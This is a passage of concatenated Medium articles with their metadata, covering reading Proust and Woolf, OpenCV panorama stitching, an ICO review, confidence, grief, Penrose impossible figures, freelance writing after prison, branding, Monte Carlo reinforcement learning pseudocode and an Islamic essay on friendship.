The first time I read Mrs. Dalloway, I was a sophomore in college, reading it in one rushed sitting for an English class. I had heard of the book and Virginia Woolf and knew a bit about stream-of-consciousness and the Modernists, but I read it because I had to, and did it in as hurried a mode as possible. I didn’t sit and ponder, didn’t double back, hardly processed it.
As a result of this, and perhaps where I was in life, I detested it, and two years later, when, with the same professor, I had to read To the Lighthouse, after having digested a lot more British literature and having been told, repeatedly, about Virginia Woolf’s genius, I was set on not making the same mistake again. I read To the Lighthouse over multiple days, often in a vacant library, rereading tricky passages and marking down notable pages. Feeling that I had had a “mysterious longing” fulfilled, I came out of it championing Woolf and her genius novel. Years later, I returned to Mrs. Dalloway, this time armed with the To the Lighthouse experience, “clothed with all the colours of the orchestra,” and saw now the “painting” where previously it had only been a “pencilled sketch.”
What I mean to say by this lengthy anecdote is that judgment, particularly judgment of a work of art, is more fickle than we care to admit, since it’s as much about ourselves and our ability to contextualize the object being judged as it is about the work. We can enjoy something, return to it, and find it distasteful (Hello, Pearl Harbor), or, more wonderfully, we can find something incomprehensible, or plain, or dull, or just plain bad, and return to it and enter a rapture (Hello, Mrs. Dalloway). Such rediscovery is possible because our judgments, like ourselves, are mutable.
I thought of this while reading the above passage, in which Proust describes an increased appreciation for works of art that he had not fully appreciated. In the excerpt, the work of art itself undergoes a transformation: a piece of music now has a full orchestra, a sketch is now in color. (Notice please the intermingling of the two analogies when he says that the orchestra provides “colour”.) In my case, I and my context for reading changed. They seem like starkly different circumstances, but Proust, like me, had believed that he’d experienced the piece of music or picture, when he’d only experienced a shadow of it.
The reader and his context for reading is not intrinsic to a work of art, but it is intrinsic to his experience of the art. The purpose of reading such articles as this is not to have the book, or even the quotes, explained to you, but rather to add context so that when you read it, you experience more of an orchestra than simply a piano piece. Any work of art worth discussing is, in some key ways, indescribable. The parts of art that matter (the form and its relation to the content) cannot be paraphrased. Yet, I believe such subjective analysis is not without value; at its best, it can add color and dimensions to the piece, can be as simple as pointing to a flower and saying, “You’re fond of hawthorns; just look at this pink one — isn’t it lovely?” | https://medium.com/the-open-bookshelf/a-shortcut-to-understanding-proust-744b9681a91e | ['Sebastian S'] | 2020-11-04 15:51:08.881000+00:00 | ['Literature', 'Quotes', 'Book Review', 'Books', 'Quotes About Life'] |
How does Panorama work?. Panorama effect! Yes, that’s what we… | Image Stitching
Panorama effect! Yes, that’s what we will uncover in this post.
Image mosaicing/stitching is the task of sticking one/more input images. We have information spread across these images which we would like to see at once. In a single image!
We all have used Panorama mode on mobile camera. In this mode, the image-mosaicing algorithm runs to capture and combine images. But we can use the same algo offline also. See the image below, where we have pre-captured images and we want to combine them. Observe the hill is partially visible in both inputs.
When you have multiple images to combine, the general approach followed is to pairwise add 2 images each time. The output of last addition is used as an input for the next image.
Assumption is that each pair of images under consideration do have certain features common.
Left and Right images stitched together using local features of interest points
Let’s see the step by step procedure for creating a panorama image:
Step 1] Read Input Images
Take images with some overlapping structure/object. If you are using own camera then make sure you do not change camera properties while taking pictures. Moreover, do not take many similar structures in the frame. We do not want to confuse our tiny little algorithm.
Now read both first two images in OpenCV.
def createPanorama(input_img_list):
images = []
dims = []
for index, path in enumerate(input_img_list):
print (path)
images.append(cv2.imread(path))
dims.append(images[index].shape)
return images, dims
Step 2] Compute SIFT features
Detect features/interest points for both images. These points are unique identifiers which are used as markers. We will use SIFT features. It is a popular local features detection and description algorithm. It is used in many computer vision object matching tasks. Some other examples of feature descriptors are SURF, HOG.
SIFT uses a pyramidal approach using DOG (difference of gaussian). Features thus obtained will be invariant to scale. It is good for panorama kind of applications wherein images might have features variations in rotations, scale, lighting, etc.
## Define feature type
feature_typye = cv2.xfeatures2d.SIFT_create()
points1, des1 = features.detectAndCompute(image1, None)
points2, des2 = features.detectAndCompute(image2, None)
Here points1 is a list of key points whereas des1 is a list of descriptors expressed in the feature space of SIFT. Each descriptor will be a 1x128 vector
Step 3] Match strong interest points
Now we will be matching points based on vector representation. We will assume a certain threshold for deciding whether two points are near or not
OpenCV has inbuilt FLANN based Matcher for this purpose. It is a histogram based matching technique which computes the distance for 2 points described in SIFT feature space.
## Define flann based matcher
matcher = cv2.FlannBasedMatcher()
matches = matcher.knnMatch(des1,des2,k=2) # important features
imp = []
for i, (one, two) in enumerate(matches):
if one.distance < dist_threshold*two.distance:
imp.append((one.trainIdx, one.queryIdx))
Step 4] Calculate the homography
Now that we have matching points identified in both images, we will use them to get the generic relationship between images. This relationship is defined in the literature as homography. It is a relationship between image1 and image2 described as a matrix.
We need to transform one image into other image’s space using the homography matrix. We can do either way from image 1 to 2 or image 2 to 1 since the homography matrix (3x3 in this case) will be square and non-singular. Only thing is that we need to be consistent while passing points to homography.
I have used my own RANSAC based approach to get a Homography matrix. But you can also use inbuilt OpenCV function cv2.findHomography()
### RANSAC
def ransac_calibrate(real_points , image_points, total_points, image_path, iterations): index_list = list(range(total_points))
iterations = min(total_points - 1, iterations)
errors = list(np.zeros(iterations))
combinations = []
p_estimations=[] for i in range(iterations):
selected = random.sample(index_list,4)
combinations.append(selected)
real_selected =[]
image_selected =[] for x in selected:
real_selected.append(real_points[x])
image_selected.append(image_points[x]) p_estimated = dlt_calibrate(real_selected, image_selected, 4) not_selected = list(set(index_list) - set(selected))
error = 0
for num in tqdm(not_selected): # get points from the estimation
test_point = list(real_points[num])
test_point = [int(x) for x in test_point]
test_point = test_point + [1] try:
xest, yest = calculate_image_point(p_estimated, np.array(test_point), image_path)
except ValueError:
continue error = error + np.square(abs(np.array(image_points[num])-np.asarray([xest,yest])))
# print("estimated :",np.array([xest, yest]) )
# print("actual :",image_points[0])
# print("error :",error)
errors.append(np.mean(error))
p_estimations.append(p_estimated) p_final = p_estimations[errors.index(min(errors))]
return p_final ,errors, p_estimations
Step 5] Transform images into the same space
Compute the second image transformed coordinates using the homography matrix output of step 4.
image2_transformed = H*image2
Step 6] Let’s do the stitching...
After computing transformed images we get two images each having some information separate and some common w.r.t. other. When it is separate the other image will have 0 intensity value at the corresponding location
We need to fuse with the help of this info at every location while keeping overlapping info intact.
It is a pixel level operation which technically can be optimized by doing image level add, subtract, bitwise_and, etc, but I found the output was getting compromised in doing this manipulation. Output generated with old-school for-loop based approach to choose the maximum pixel from the corresponding input pixels worked better.
## get maximum of 2 images
for ch in tqdm(range(3)):
for x in range(0, h):
for y in range(0, w):
final_out[x, y, ch] = max(out[x,y, ch], i1_mask[x,y, ch])
See the output below:
Although the post was just a small guide, you can refer to the entire code available here. | https://medium.com/tech-that-works/how-does-panorama-work-image-stitching-bf1a9f0e4fa5 | ['Samrudha Kelkar'] | 2019-06-03 06:58:26.190000+00:00 | ['Machine Learning', 'Computer Vision', 'Image Processing', 'Panoramic Image Stitching', 'Panorama'] |
ICO review from TEOZ RESEARCH: EDENCHAIN | EDENCHAIN is a technological platform with blockchain, which can capitalize and trade all types of assets with the help of economy platform programmed technology. Using smart contract block, you can capitalize all material and intangible value of assets in token (tokenization).
Website: edenchain.io
Overall assessment: 3 out of 10.
Review: There is no project. there are no experts on blockchain-no mentions about participation in conferences or activity in specialized groups in social networks. The basic idea is not clear. the role of the token is unknown. Preliminary date of ICO was changed due to the change of the concept of the project. the team approves that the community will get access to all the necessary information when the site will be transferred, but they do not report when this happens. Marketing is absent as a fact.
Full report
English version
Russian version | https://medium.com/teoz-fund/ico-review-from-teoz-research-edenchain-31f5cbb99836 | ['Teoz Fund. Smart Crypto Fund'] | 2018-03-19 22:25:07.555000+00:00 | ['ICO', 'Blockchain', 'Cryptocurrency', 'Initial Coin Offering', 'Ico Review'] |
What Real Confidence Looks Like | The most confident person in the room might be the last person you’d expect. It’s not the one who talks the most, or the loudest. It’s not the one who strides in wearing the most expensive clothes, or even the one who gives the most polished speech. True confidence is quiet.
It’s about what you do, not what you say.
Look at someone who goes into a job interview wearing something nice, but not exactly Dior. They know what’s up.
It’s easy to confuse confidence with arrogance. The bluntest minds always think they’re the sharpest.
Fake confidence spells big trouble for everyone.
There’s not many things worse than someone pretending to know what they don’t, tricking everyone into believing them, and then wrecking whatever jobs or relationships they’ve been trusted with.
It’s actually not that hard to cultivate real confidence. It starts with a handful of concrete behaviors. Like love, confidence doesn’t emanate from some mysterious place within you. It’s about actions. So how does someone build real confidence, and not the fake kind?
1. They go into a situation prepared
A lack of confidence points to one key thing: you don’t know what you’re doing. That’s fine. Nobody does, not all the time. Nobody gains confidence by sitting around stressing. They come up with a plan.
They do the research. They ask around. They put in the time to figure out what they need to know. They organize. They train. They practice. When the time comes, they’re ready.
And being ready is what makes you confident.
Someone with fake confidence pretends to have a plan, when they don’t. This is otherwise known as lying. Competent people can see right through it, even if they’re too nice to say anything.
2. They dive into new opportunities
You can’t get anywhere without venturing past your green zones. That means applying for jobs that look demanding, or asking someone on a date before you know the answer.
Nobody gains confidence by acting like a daredevil. They just accept that life comes with a certain amount of unavoidable risk.
They don’t hide from the future because they think they’re not qualified for a promotion, or that girl’s out of their league. They take the chance. When they fail, the learn why and go from there.
A bruise to your ego can hurt just as bad as a kick to the shin. Confidence is about feeling the pain, not avoiding it.
Someone with fake confidence has no idea how to do this. They stay within their comfort zones and never get better at anything. They’ll do whatever they can to avoid looking or feeling like a novice or a loser. They never take any real risks, because that requires maturity.
3. They search out feedback, not validation
Nobody gains confidence by always asking for approval and fishing for compliments. They do it by asking for honest feedback from people who are willing to give it to them.
They take the criticism, and build on it.
They get better at what they do. Tracking your own improvement overtime gives you real confidence. The surest way to feel good about yourself is for a mentor or supervisor to say you’re doing a better job.
They also know how to weed out mindless haters and criticism that has no substance. They don’t dwell on it.
Someone with fake confidence surrounds themselves with sycophants. They starve to death on a diet of empty praise.
4. They admit what they don’t know
Nobody gains confidence by knowing everything. Confidence comes from filling holes in your mind with knowledge. You can’t do that if you always pretend to know everything, or live in fear that you’re going to ask a dumb question or somehow expose a weakness.
Confidence comes from experience.
We all start out at zero, and go from there. It’s only healthy to have an accurate, realistic sense of your abilities.
This means admitting that maybe you’re not the smartest person at work, or the most gifted programmer. The only way to continue getting better at what you do is to see how you can get there.
Someone with fake confidence does the opposite. They pretend to know more than they do, and put most of their effort into talking themselves up in front of everyone in their path. The second someone contradicts them, they start back-tracking and flip-flopping.
They’d be so much better off just saying they were wrong.
Confidence doesn’t come from being smarter. But someone who practices confidence comes off that way a lot, just because they listen to experience and expertise, and follow good advice. They don’t waste time focusing on how smart they look, they focus on acquiring knowledge.
Sure, there’s always a jerk or two out there who loves to needle someone who doesn’t have all the answers. That leads to…
5. They keep their cool under pressure
Confidence doesn’t come from always being in control, and everything going exactly according to plan. It comes from knowing that you’re going to screw up, and that life has its own agenda.
You practice confidence by understanding that things go wrong — that’s the norm. And it has nothing to do with you.
There’s usually a partial solution, a workaround, or some way to salvage even the worst situations. This means giving up the perfect vision you had of how your day was going to unfold.
It could mean letting someone help you fix things.
Confidence means not indulging in the meltdown that’s brewing inside your head. It means being scared or worried, even showing it, but also doing what’s expected of you in the moment.
Keeping your cool is all about taking your ego out of the game.
Someone with fake confidence wants to be a superhero. They’re not concerned with their responsibilities, or other people. They only care about how they look. And in their pursuit of glory, that’s when they make their biggest mistakes and the biggest enemies.
Think of confidence as a verb, not a noun
Nobody really “has” confidence, certainly not all the time. Everyone goes through moments of doubt and panic. If you went through every minute of your life feeling bulletproof, you wouldn’t last long. Everyone worries a little at midnight, sometimes about the silliest things.
Nobody forges confidence that we can just slip on like a bat suit. It would be great if it were that easy.
Instead, we demonstrate confidence through actions. We perform acts of confidence, even when we’re feeling nervous. We do it every time we make a plan, take a chance, seek out solid advice, confront our faults, and handle a tough situation because others depend on us. | https://medium.com/swlh/what-real-confidence-looks-like-3a5e84f57e4e | ['Jessica Wildfire'] | 2020-02-02 05:22:13.092000+00:00 | ['Self Improvement', 'Emotional Intelligence', 'Confidence', 'Relationships', 'Leadership'] |
Death, Though Inevitable, Yet Certainly is Not Painless | No matter how many times do our holy scriptures and self-help books guide us to follow the ambits of accepting things as they are, and master the art of staying unattached, yet a closer look, coupled with an iota of honesty would reveal how far fetched it actually is.
Had it not been the case, then social media feeds and news columns/editorials wouldn’t be filled up writeups over the deceased. Whether Irrfan Khan, Rishi Kapoor, Sushant, Ram Bilas Paswan or Soumitra Chatterjee, not one stone-hearted person could opine with a straight face that their demise didn’t feel personal.
And, why wouldn’t it? We are humans, mortals, where most of us even claim to have a heart. In one of his literary works, Rabindranath Tagore did mention that “Marana re, tuhu mamo shyam saman”. The literal translation of which would mean, Oh dear death, to me, you are my Lord Krishna.”
Various scholars hold the thought that when death visits a person, he must have a profound personality and mental makeup; so much so that that when he could see death visiting him, and while he’d be counting his last breaths, he must be prepared to welcome him with a hug, and thus transcend in his journey towards the other world.
But where does it leave people like us? The mortals? The ones that claim to be their closest peers? We continue questioning the ever-changing, the all-happening universal phenomenon. “Why” seems to dominate most of our questions…
But, do the deceased that have already transcended towards their spiritual voyage have the immaculate strength to gauge and fathom our agony? Perhaps yes. Perhaps not. No matter what their state of mind is, they have already left this humble abode of theirs and set off towards the unexplored and unknown. Or should I paraphrase and say that that abode is actually their permanent home, and this was just a vacaying spot? Much like Shakespeare had mentioned, “All the world’s a stage, and all the men and women merely players?”
Again, perhaps yes. Perhaps not. Even though this is a phenomenon of the universe, but the feeble, weak-hearted mind, doesn’t budge from its archaic beliefs of attachment. Maybe, it’d require some more time.
As of now, death, every death for that matter evokes a sad feeling, pinches like a huge thorn, and leaves behind an ever grasping air of melancholy. The concept of life and death are inevitable, but certainly not painless. | https://medium.com/@gairikamitra/death-though-inevitable-yet-certainly-is-not-painless-a137fcaff96e | ['Gairika Mitra'] | 2020-11-16 13:10:51.330000+00:00 | ['Writing', 'Blogging', 'Death', 'Writer', 'Death And Dying'] |
What Makes An Impossible Figure Impossible? | What Makes An Impossible Figure Impossible?
Perspective is the most critical aspect associated with every impossible shape.
Impossible shapes are the ones that form in an inconsistent way to create a spooky optical illusion. That deceives our brain on a very first impression by creating a false reality. A few of them are discussed in this article.
Penrose Triangle
The Penrose triangle or the impossible triangle (Penrose tribar) was first designed by a Swedish artist Oscar Reutersvärd in 1934. He was known as the “father of the impossible figures”. He created that picture at the age of 18 while drawing randomly in his Latin class.
The triangle gained more widespread attention in the 1950s when a psychiatrist Lionel Penrose and his son Sir Roger Penrose, who is now a prominent Nobel Prize-winning mathematician, independently expressed it as a “pure impossibility”. They published a paper entitled “IMPOSSIBLE OBJECTS: A SPECIAL TYPE OF VISUAL ILLUSION” in The British Journal of Psychology in 1958. Moreover, the objects with impossible geometry are also featured in the works of Dutch graphic artist M. C. Escher.
According to Wiktionary, the Penrose triangle is defined as: “An optical illusion depicting an impossible solid object made of three straight beams of the square cross-section which meet pairwise at right angles at the vertices of the triangle they form.”
Hence the lines are connected in such a manner as to illustrate an impossibility. In order for these shapes to exist, the rules of Euclidean geometry must violate.
Figure: 1 The Penrose triangle
By observing the above figure, you can have the perspective that the right side of a triangle is extending away from you and the left side is extending towards you. Yet they are connected to the same rectangular bar and appear on the same plane.
Penrose attended a lecture in 1954 by Escher and felt motivated to illustrate that concept. Later, Escher incorporated the effect of the Penrose triangle as an inspiration to create the famous impossible construction of the “Waterfall lithograph”.
Figure: 2 This lithograph has the structure of a watercourse with two Pensore triangles. The aqueduct begins at a waterwheel to to the observer it feels as if it is slanted upwards. The cycle of a waterfall off the aqueduct is an impossible cycle here. The two towers also have polyhedra at their top showing Escher’s interest in mathematics.
Based on a similar concept another impossible shape can also be constructed known as the Impossible/Irrational cube.
Figure: 3 The impossible cube
The parts of the cube are appearing to be in front of and behind at the same time which is not possible geometrically.
The Penrose Staircase
Figure: 4 The Penrose staircase
The Penrose staircase is a never-ending wind of the steps going up in one direction while back down in the other direction and so on and so forth. At a first glimpse, it makes a person wonder about how it works. But the moment we rotate the object and behold the other side then the illusion is no more.
The paper published by Penrose consisted of a description of the impossible staircase also. The structure is “acceptable as representing a flight of steps but the connections are such that the picture, as a whole, is inconsistent”.
M. C. Escher created the image of the impossible staircase in his lithograph print “Ascending and Descending” two years later in 1960.
Penrose cited Escher’s work in their paper as an inspiration for constructing the impossible staircase and forwarded a copy of their paper to Escher. Escher in a due course responded:
A few months ago, a friend of mine sent me a photocopy of your article… Your figures 3 and 4, the ‘continuous flight of steps’, were entirely new to me, and I was so taken by the idea that they recently inspired me to produce a new picture, which I would like to send to you as a token of my esteem.
Although an illustration of the impossible staircase was first created by Oscar Reutersvärd in 1937, Penrose and Escher were unfamiliar with it.
Figure: 5 Impossible staircases drew by Oscar Reutersvärd
The Penrose Stairs is simply an impossible figure because if one were to complete a loop of the stairs, one would end up again at the same level even though each step of the stairs continuously rise or fall, depending on the clockwise or anti-clockwise direction.
Figure: 6 M. C. Escher’s “Ascending and descending” lithograph. The stair in that drawing paradoxically accends while going in one direction of the round and descends while going in the other direction. Still one would end up at the same level.
Figure: 7 M. C. Escher’s “Belvedere” lithograph. This drawing includes 3 impossible aspects. First of all, observe the impossible arrangement of pillars (the way they begin at the top and end at the bottom). Secondly, observe the impossible positioning of a stairway (it starts and ends at the same level with a little slope). Lastly, notice the man on the bench, outside the building, holding the impossible cube.
The concept of Penrose steps/staircase (the infinite staircase) was also shown in an action/sci-fi movie directed by Christopher Nolan Inception in 2010. Also, in the movie The Avengers in 1998, a person is appeared to be walking down a Penrose stairway who ends up being at the same place after walking.
Moreover, Monument Valley is a video game developed by Ustwo Games, released in April 2014, is based on a network of optical illusions and impossible figures. | https://medium.com/cantors-paradise/what-makes-an-impossible-figure-impossible-98bf40effdc0 | ['Areeba Merriam'] | 2020-12-15 01:47:21.334000+00:00 | ['Penrose', 'Math', 'History', 'Geometry', 'Science'] |
Step Up to the Plate | Step Up to the Plate
pexels — pixabay
Just a day ago, I characterized my writing career to a published author using a baseball metaphor: “I made it to the majors as a pinch hitter and performed reasonably well. But I never got into the starting lineup.”
Translated, that means I’ve freelanced for papers like the NY Times, Village Voice, and NY Daily News (among others), but never worked for any of them full-time.
I didn’t get those gigs because I was a great writer. Rather, it was as a result of my being a real live taxi driver, an employee who sold advertising to escorts, or now, as an ex-con.
So Michael Avenatti gets locked up at MCC? I got a gig. Having spent a year in the prison, I knew better than anybody at the paper (or website in that case) exactly what Avenatti was experiencing.
When Michael Cohen was sent back to prison for a probation violation? Cha ching. Another gig. Harvey Weinstein at Rikers? Score! Paul Manafort got sent home because of covid. Mo’ money!
Yesterday, Paulie got a pardon from the King, effectively releasing him from years of home confinement. So it’s back to the Show for me. It only took 30 minutes from the moment I heard the news to the moment I hit the send button with a draft to my editor at the Daily Beast.
So to metaphorize musically and athletically this time, it’s “Put Me In Coach, I’m Ready to Play” time.
This is of course, a time-sensitive piece. It will be old news quickly. And you know I want to send it to all my connections at the same time and let them bid for the piece. After all, how many ex-cellies does Paul Manfort have who can spell “cat?” I have a perspective that few share on this bit of news.
Regardless, if I sent the article to more than one outlet at a time, I could kiss any future with any of them goodbye. Submitting simultaneously is a huge no-no.
And so, the next day will see me soliciting until I find a home for the story. Hopefully, somebody will publish and pay for it. Which is why I really can’t divulge the contents on Medium yet. If I did and the outlet found out about it? Another big no-no.
So many rules and restrictions! Oh well. I’ll toe the line — as I don’t have a choice in the matter if I ever want to be published in a major media outlet again. | https://medium.com/illumination/step-up-to-the-plate-50e911affaaf | ['William', 'Dollar Bill'] | 2020-12-24 10:45:35.508000+00:00 | ['Pardon', 'Memoir', 'Prison', 'Manafort', 'Trump'] |
Why people buy from your competitors and not you. | Have you ever asked yourself why your competitors are closing more sales than you are? or why they are getting all the attention?
Let us use Netflix vs Blockbuster as an example here…
Thousands of times Netflix comes in and just destroys and demolishes blockbusters.
When was the last time you subscribed to Blockbuster LLC ? MAYBE YOU DIDN’T KNOW THEY EXIST..
POINT NO 1: Probably maybe your prospect clients don’t even know you exist.
Let’s leave the big guys out of this and talk about the small businesses, right? Like you and I.
Imagine your competition swoops in and starts gulping up clients on you and deep down you know that your product and service is way better than theirs,but they still keep getting more clients than you.
Very frustrating right? Let me give you some quick wins here.
but before that I want you to answer these two questions.
1. What is your brand/business known for in the marketplace?
2. Why should anyone buy from you, instead of your competition?
Now that you’ve answered both questions.. The quick win here is for you to start marketing your answers to your prospect clients.
If you’re reading this right now, I want you to check the looks and feel of your business/brand before you start wasting your hard earned money and energy into marketing because your prospect clients will come to your social media, website before they invest in you and you don’t want them to say, nah, looks too cheap. It looks like they’re amateur or scam.
You don’t want them to say: “We’re going to go with the competitor that looks a little bit more polished.
It is what it is guys. I’m not saying this to scare you. I’m saying it because it really happened to me a few years ago, I lost a big six figure client because my brand identity wasn’t where it should be to have attracted that level of client.
This was a really upcoming paint company who is really ready to invest big in their new brand identity. Could I have gotten the job done? 100% Yes!
My marketing message reached them but my looks (brand identity) ruined it all. They are not ready to take the risk because they looked at my website and it kind of looks like more of a freelancer and they are looking for an agency-like to take care of their stuff..
So guys, please if you really want your marketing to work you need to invest big in your brand/business looks, If you want to play big, you have to look big right? and also deliver big..
If you are really ready to compete with the big boys and you want your messaging to reach your potential clients or you want to regain the perception of that value of your business you should click here to get intouch with Bennie so we can help you with your brand looks and messaging.
Looking forward to hearing from you guys. Cheers
– Bennie
Olofinyo Ben
www.benniedesigmstudio.co.za
Follow Me on Instagram
Follow Me on Facebook | https://medium.com/@benniedesignstudio/why-people-buy-from-your-competitors-and-not-you-ddbe0f5b73 | ['Olofinyo Temitope Ben'] | 2021-04-09 05:16:03.955000+00:00 | ['South Africa', 'Personal Branding', 'Entrepreneur', 'Branding Strategy'] |
Monte Carlo in Reinforcement Learning, the Easy Way | In Dynamic Programming (DP) we have seen that in order to compute the value function on each state, we need to know the transition matrix as well as the reward system. But this is not always a realistic condition. Probably it is possible to have such thing in some board games, but in video games and real life problems like self-driving car there is no way to know these information before hand.
If you recall the formula of the State-Value function from “Math Behind Reinforcement Learning” article:
It is not possible to compute the V(s) because p(s’,r|s,a) is now unknown to us.
Always keep in mind that our goal is to find the policy that maximizes the reward for an agent. We said in previous articles that analytical solution is hard to get, so we fallback to iterative solutions such as Dynamic Programming. However DP has its own problems as mentioned above.
An alternative solution is to play enough number of episodes of the game and extract the information needed. Notice that in DP we didn’t play the game because we knew its dynamics, in other words at each state we knew what are the probabilities of going to another state when we take certain action, and we knew what the reward is going to be. Based on that we were able to do our calculations. In this new scenario, we won’t know these data unless we play the game. This is a key difference between Monte Carlo and Dynamic Programming.
In Monte Carlo (MC) we play an episode of the game starting by some random state (not necessarily the beginning) till the end, record the states, actions and rewards that we encountered then compute the V(s) and Q(s) for each state we passed through.
We repeat this process by playing more episodes and after each episode we get the states, actions, and rewards and we average the values of the discovered V(s) and Q(s).
In Monte Carlo there is no guarantee that we will visit all the possible states, another weakness of this method is that we need to wait until the game ends to be able to update our V(s) and Q(s), this is problematic in games that never ends.
Policy Evaluation using MC
As a reminder a “Policy” is a plan, a set of actions that the agent takes to move through the states. The optimal policy is the set of actions that allows the agent to maximize his rewards.
Evaluating the policy is the process of calculating the value of each state when the agent follows the set of actions dictated by that policy.
The way we do that in MC, is to play episodes of the game until we reach the end, then we grab the rewards collected on the way and move backward to the start of the episode, while affecting the discounted value at each state.
We repeat this method a sufficient number of times and we average the value of each state.
Lets take a concrete example:
Suppose you already have a policy and you need to evaluate it.
The evaluation of the above policy is to randomly select a state and follow the policy until the end (terminal state), then compute the discounted reward for each step you passed through. This goes like this:
At the end you average the values on each state and you will get the following:
Notice that there is no guarantee to pass by all states. For example the value at state (??) is unknown because it did not happen to get selected during the random selection.
Evaluate_Policy(policy):
let s = select_random_state()
let a = policy[s]
let sr_list = [] # init empty list for state, returns Loop:
# Play episode until the end, record every state, action
# and reward:
let (s, r) = make_move(s, a) #make a mov from s using a and get
#the new state s and the reward r
if game_over():
sr_list.add(s, r)
break
else:
let a = policy[s]
sr_list.add(s, r)
End Loop # compute the return
let G = 0
let sg_list = [] # init empty list of state, return for s, r in sr_list.reverse(): #loop from the end
G = r + gamma * G
sg_list.add(s, G) #return the computed list
return sg_list.reverse()
Need for Action-Value in MC
However there is a problem with using only V(s).
How would you select which action that leads from state Si to state Sj ?
In Grid World you might be tempted to look around and select the action that leads to the state with biggest value. In a deterministic Grid World this might work because if the upper state has the biggest value among the states that surround the current one, going up will be the logical choice.
But suppose along with moving actions, you also having jumping actions. Which one would you choose, moving up or jumping up? If you have a wall and you moved up, you won’t go anywhere, you have to jump. Conversely if you have a low ceiling and you jump, you will hit it and fall, you would rather move.
To push it even further, consider a windy Grid World, and whatever action you take, you will be drifting to a state other than the intended one. For example, if you try to go up you might end going to the right. So looking at the value of the upper cell and decide to go up will not work. You might need to make a left move in order to be pushed to the upper cell.
The only way to know that, is to have access at the transition matrix P. But we said from the beginning that this information is unknown to us and this a major reason for why DP is not practical.
Once you convince yourself of this fact, you will see that the use of Q(s, a) function instead of V(s) is a better fit, because we compute the value of each action on each state. This way we will be able to check which action produces the maximum reward and thus include it in the optimal policy.
Q-Value function can be computed in two different way:
With Exploring Start
Without Exploring Start
MC with Exploring Start
Exploring start is the method of estimating the Q-Value function by randomly starting at any state, then greedily choose the best action to take.
The algorithm of policy evaluation is like this:
Evaluate_Policy_With_Exploring_Start(policy):
let s = select_random_state()
let a = select_random_action_for_state(s)
let sar_list = [] # init empty list for state, action, reward Loop:
# Play episode until the end, record every state, action
# and reward:
let (s, r) = make_move(s, a) #make a mov from s using a and get
#the new state s and the reward r
if game_over():
sar_list.add(s, none, r)
break
else:
let a = policy[s]
sar_list.add(s, a, r)
End Loop # compute the return
let G = 0
let sag_list = []# init empty list of state, action, return for s, a, r in sar_list.reverse(): #loop from the end
G = r + gamma * G
sag_list.add(s, a, G) #return the computed list
return sag_list.reverse()
MC without Exploring Start
In case you noticed an issue with the Exploring Start approach, then you are right. In practice you can’t start at any state! In a video game for example there is one or few states to start at, but certainly you can’t start at any random state. So the Exploring Start is an unrealistic assumption.
To deal with this constraint, instead of starting at a random state, we start at the beginning then explore “epsilon” part of the time, and exploit “1-epsilon” amount of the time. As you remember, exploration means you act randomly while exploitations means you act greedily (take the action that produces the highest result).
Evaluate_Policy_Without_Exploring_Start(policy):
let s = select_start_state() # select the starting state, not a
# random state
let a = select_random_action_for_state(s)
let sar_list = [] # init empty list for state, action, reward Loop:
# Play episode until the end, record every state, action
# and reward:
let (s, r) = make_move(s, a) #make a move from s using a, get
#the new state s and the reward r
if game_over():
sar_list.add(s, none, r)
break
else:
# select random action epsilon time and policy[s] (greedy)
# (1-epsilon) time
let a = epsilon_random_action(policy[s])
sar_list.add(s, a, r)
End Loop # compute the return
let G = 0
let sag_list = [] # init empty list of state, action, return for s, a, r in sar_list.reverse(): #loop from the end
G = r + gamma * G
sag_list.add(s, a, G) #return the computed list
return sag_list.reverse()
Policy Improvement using MC
Policy improvement is the process of changing the parts of a policy in order to get a better one. By “better” we mean that the new policy has greater value for at least one state, while the values of other states are equal to the values computed by the previous policy. We keep improving the policy iteratively until we reach the optimal policy (the policy that gives the best state values among all other policies).
The policy improvement in the case of Exploring Start, goes by selecting a random policy, then call Evaluate_Policy_With_Exploring_Start(policy) large number of times, with each time get the list of states, actions and rewards and compute the average value for each state s and action a. Then update the policy with action that produces the largest Q value for each state.
Improve_Policy_With_Exploring_Start(): # create a random policy starting. Random action for each state
let policy = select_random_action_for_each_state()
let Q = [][]
let r = [] Loop large number of times:
# Evaluate the policy :
let sag_list = Evaluate_Policy_With_Exploring_Start(policy)
let visited_states_actions = [] For Each s, a, G in sag_list:
if not visited_states_actions.contains(s, a):
r[s,a].append(G)
Q[s][a] = average(r[s, a])
visited_states_actions.add(s, a)
End For
# update policy
For Each s in policy:
# select action that produces the max Q value for state s
policy[s] = action_with_max(Q[s])
End For End Loop
The policy improvement in the case without Exploring Start, is similar to the one of Exploring Start but this time we call Evaluate_Policy_Without_Exploring_Start(policy) .
Improve_Policy_Without_Exploring_Start(): # create a random policy starting. Random action for each state
let policy = select_random_action_for_each_state()
let Q = [][]
let r = [] Loop large number of times:
# Evaluate the policy :
let sag_list = Evaluate_Policy_Without_Exploring_Start(policy)
let visited_states_actions = [] For Each s, a, G in sag_list:
if not visited_states_actions.contains(s, a):
r[s,a].append(G)
Q[s][a] = average(r[s, a])
visited_states_actions.add(s, a)
End For
# update policy
For Each s in policy:
# select action that produces the max Q value for state s
policy[s] = action_with_max(Q[s])
End For End Loop
Conclusion
Monte Carlo method has an advantage over Dynamic Programming as it does not have to know the transition probabilities and the reward system before hand. The requirement of such information is somehow unrealistic.
Related articles | https://zsalloum.medium.com/monte-carlo-in-reinforcement-learning-the-easy-way-564c53010511 | ['Ziad Salloum'] | 2020-01-11 20:58:19.514000+00:00 | ['Machine Learning', 'Exploring Start', 'Reinforcement Learning', 'Monte Carlo', 'Action Value Function'] |
Faith & Friendship: How much influence do your friends have over you? | For many of us, our friends are a very important part of our lives. A lot of the time our friends are simply a product of our surroundings, through being in similar classes at school or working at the same company. Our choice of friendship is often an unconscious decision based on how well you get on, but we should be more critical when deciding who we consider to be our friends.
The messenger of Allah (ﷺ) told us the effects of our company in the following hadith:
“The likeness of a good companion and a bad companion is that of one who carries perfume and one who works the bellows. With the carrier of perfume, either he will give you some or you will buy some from him, or you will notice a good smell from him; as for the one who works in the bellows, either he will burn your clothes or you will notice a bad smell from him.”¹
This clearly shows us that the people we keep around ourselves have an affect on us whether we are conscious of it or not. Therefore, it is important to look at the people we spend our time with. Even more important, is to look at the people we consider close to us. The prophet (ﷺ) said:
“A man follows the religion of his close friend; so each one should consider whom he makes his close friend.”²
It is important to note that the word the prophet (ﷺ) used to mean friend is khaleel (خليل). Khaleel is a friend whom we love and keep close, the one we share our secrets with and go to for advice.
Allah tells us what the effects are of keeping bad friends close to us in the following two verses when it is said in the Quran:
